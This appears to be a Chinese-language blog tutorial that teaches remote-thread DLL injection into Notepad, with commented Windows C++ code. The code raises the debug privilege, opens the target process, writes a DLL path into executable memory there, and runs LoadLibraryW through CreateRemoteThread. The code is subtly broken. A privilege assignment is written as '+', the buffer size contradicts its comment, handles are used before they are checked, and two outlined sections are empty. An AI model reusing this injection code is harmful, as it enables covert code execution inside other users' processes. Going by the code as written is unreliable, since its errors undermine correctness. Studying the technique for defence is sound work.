DLL檔案,是動態連結庫,我們執行程式的時候最後呼叫的都是這個DLL檔案。
每一個程序中都會有多個執行緒。
遠端執行緒注入,簡單來說,就是指我們通過一個工具或者其他的方法,在一個指定的程序中,開闢一個執行緒的記憶體地址空間,然後用來執行載入我們的DLL檔案,或者是我們想做的事情。
思路一:
思路二:
好了,經過上面的學習,我們對遠端執行緒注入有了一個基本的瞭解。雖然有了瞭解,但是還是對遠端執行緒注入的過程、原理以及使用有一些模糊,不太理解。(個人學習過程中的感悟)
我們需要配合一些遠端執行緒注入的實戰來進一步瞭解
專案一:
要求:編寫一個程式,在程式中,指定注入的DLL的檔案的路徑以及被注入程序的資訊。當我們點選注入後,就可以將DLL程式注入到程序中,從而執行我們注入的DLL檔案
成果展示:
程式碼展示:
//1. 提升程序的許可權
// 因為我們要將我們寫的程式注入到別的程序之中,所以我們的許可權一定要夠
// 比如作業系統有system\administrator使用者
/*
函數簡介:
OpenProcessToken:我們想要提升許可權,首先要進入到提升許可權的空間中,相當於那一把鑰匙,開啟提升許可權的盒子。
GetCurrentProcess:獲取我的程序。得到我的自己的程序的鎖。
TOKEN_ALL_ACCESS:開啟所有的許可權。開啟讀寫等等所有許可權
*/
HANDLE hToken;//將獲取到的「鑰匙」儲存到這個變數。
// || OpenProcessToken(GetCurrentProcess(),TOKEN_ALL_ACCESS,&hToken);
//如果返回的結果是FALSE,就是獲取失敗,提示獲取鑰匙失敗
if (FALSE == OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)){
MessageBox(L"開啟程序,存取令牌失敗");
return;
}
//==================執行到這裡就說明是拿到了鎖==================
//2. 檢視程序裡面的特權資訊
/*
LookupPrivilegeValue:檢視盒子,去看一下盒子裡面的資訊
引數一:系統特權名字
NULL:檢視本機系統
引數二:主要看什麼特權
SE_DEBUG_NAME:偵錯許可權
引數三:將系統的許可權賦值給變數
luid
*/
//將獲取到的許可權,賦值給一個變數
LUID luid;
// || LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&luid);
//判斷是否獲取成功
if (FALSE == LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)){
MessageBox(L"檢視程序裡面的特權資訊失敗。");
return;
}
//==================執行到這裡就說明是獲取到了許可權==================
//3. 調節程序許可權
/*
AdjustTokenPrivileges:
引數一:拿著鑰匙hToken,第一步獲取到的
引數二:是否禁用所有的特權。我們使用的是不禁用
*/
//定義一個新的特權,用來接收函數調節後的許可權。
TOKEN_PRIVILEGES tkp;
tkp.PrivilegeCount = 1;//特權陣列的個數為一個
tkp.Privileges[0].Attributes + SE_PRIVILEGE_ENABLED;//因為只有一個元素,所有陣列就是0
tkp.Privileges[0].Luid = luid; //將獲得到的許可權賦值給這個特權。
if (FALSE == AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)){
MessageBox(L"調節程序許可權失敗");
return;
}
//==================執行到這裡就說明是已經調節了許可權==================
//4. 查詢視窗(就是獲取指定應用程式的程序)
/*
FindWindow:
引數一:Notepad,程序的類,一個應用程式的類是一樣的
引數二:就是標題
*/
//如果找到了,這個變數就有值了
HWND hNotepader = ::FindWindow(L"Notepad",L"新建文字檔案.txt - 記事本");
//判斷這個視窗是否開啟
if (hNotepader == NULL){
MessageBox(L"沒有開啟記事本");
return;
}
//==================執行到這裡就說明是已經獲取到了應用程式的視窗==================
//5. 獲取程序PID(Process ID程序ID)
/*
GetWindowThreadProcessId:函數就是根據視窗控制程式碼,獲取PID
引數一:傳入一個視窗的控制程式碼
引數二:傳入接收穫取到的PID的變數
*/
DWORD dwPID = 0;
GetWindowThreadProcessId(hNotepader,&dwPID);
if (dwPID == 0){
MessageBox(L"獲取程序PID失敗");
return;
}
//==================執行到這裡就說明是已經獲取到了程序PID==================
//由於PID只是一個程序的序號,不夠強大,所以我們需要獲取一個更加強大的控制程序的東西,叫做程序控制程式碼
//這個程序控制程式碼可以控制exe的關閉、暫停、執行等等行為
//6. 根據PID(程序的序號)獲取程序控制程式碼
/*
OpenProcess()函數:開啟一個程序
引數一:以所有(最大)的許可權開啟,就是我們可以執行任何許可權
引數二:是否可以繼承父程序的環境變數,一些屬性,FALSE是不繼承
引數三:根據指定的PID開啟一個程序
RETURN:
開啟成功會返回一個程序控制程式碼
*/
//記事本的程序控制程式碼
HANDLE hNotepad = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPID);
//判斷記事本的程序控制程式碼是否成功
if (hNotepad == NULL){
MessageBox(L"開啟程序失敗");
}
//==================執行到這裡就說明是已經獲取到了程序控制程式碼==================
//拿到程序控制程式碼後,就可以對exe進行操作了。
//由於我們想要學習的程序注入,所以演示程序注入
//7. 因為每個程序中,有4G的虛擬地址空間,在遠端程序中申請一小塊記憶體空間
/*
VirtualAllocEx()函數:專門在遠端程序中進行記憶體申請的
引數一:指定在哪個程序中申請(根據程序控制程式碼)
引數二:指定申請的位置,NULL是指不指定那一塊,隨便給一塊地址就可以
引數三:指定申請的大小,0x1000:4096個位元組
引數四:申請一塊實體地址,物理記憶體用來儲存虛擬記憶體。
引數五:讓這個空間可讀可寫可執行。就是我們可以進行操作
RETURN:
返回一個地址空間
*/
LPVOID lpAddr = VirtualAllocEx(hNotepad, NULL, 0x0100, MEM_COMMIT,PAGE_EXECUTE_READWRITE);
//判斷申請的空間是否成功
if (lpAddr == NULL){
MessageBox(L"在遠端程序中申請記憶體是否成功");
}
//==================執行到這裡就說明是已經獲取到了遠端程序的記憶體空間==================
//8. DLL的路徑寫入到遠端程序中
/*
WriteProcessMemory()函數:
引數一:寫入到指定的程序中
引數二:寫入到指定的申請的地址空間中
引數三:將指定的DLL檔案的路徑寫入進去
引數四:指定的DLL檔案大小,多少位元組
引數五:實際寫入到多少個位元組,NULL不關注,只關注當前就可以
RETURN:
失敗返回FALSE
成功放回TRUE
*/
//指定我們需要注入的DLL的檔案路徑
TCHAR szDLLPath[] = L"C:\\Users\\lenovo\\Desktop\\123.dll";
if (FALSE == WriteProcessMemory(hNotepad, lpAddr, szDLLPath, sizeof(szDLLPath), NULL)){
MessageBox(L"在遠端程序中寫入資料失敗");
return;
}
/*
GetModuleHandle()函數:能夠獲得我們Kernel32.dll的控制程式碼
引數一:獲取指定名字的控制程式碼
GetProcAddress()函數:返回一個指定函數的地址
引數一:是一個獲取到的dll
引數二:是一個指定的函數
Kernel32.dll是一個核心的動態庫,所有的exe程序都載入了這個動態連結函數
記事本也載入了Kernel32.dll
但是所有的dll動態連結函數在動態連結庫中都是隻有一份
不同的exe程式呼叫的dll檔案都是隻有一份
也就是說所有的exe都載入了Kernel32.dll檔案
既然是共用的,那麼dll裡面的函數也是共用的
*/
//GetModuleHandle(L"Kernel32.dll");
//GetProcAddress(GetModuleHandle(L"Kernel32.dll"),"LoadLibraryA");//窄字元
//可以理解為返回一個函數指標
PTHREAD_START_ROUTINE pfnStartAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryW");//寬字元
//LPTHREAD_START_ROUTINE *pfnStartAddr = (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "LoadLibraryW");//寬字元
if (pfnStartAddr == NULL){
MessageBox(L"返回指標失敗");
return;
}
//==================執行到這裡就說明是已經獲取到了指定DLL檔案的指定函數的指標==================
//9. 在遠端程序中開闢一個執行緒
/*
CreateRemoteThread()函數:我們開啟註冊器,讓它在記事本中自己開一個執行緒
引數一:在指定的程序中開執行緒
引數二:執行緒的安全屬性為NULL
引數三:堆疊大小預設為0
引數四:遠端執行緒執行哪個函數( 執行緒入口函數的起始地址)
引數五:傳進來我們申請的地址空間
引數六:什麼時候啟動,0為馬上啟動
引數七:執行緒ID,NULL就可以
RETURN:
返回一個遠端執行緒控制程式碼
*/
HANDLE hRemote = CreateRemoteThread(hNotepad, NULL, 0, (LPTHREAD_START_ROUTINE)pfnStartAddr, lpAddr, 0, NULL);
WaitForSingleObject(hRemote, INFINITE);
//判斷建立遠端執行緒是否成功
if (hRemote == NULL){
MessageBox(L"建立遠端執行緒失敗");
return;
}
本次部落格只是演示了一個專案用於讓沒有基礎的同學,理解遠端執行緒注入的基礎,更加高深的利用手法,需要自行琢磨
本次的專案靈感來自於頓開教育裡奇老師。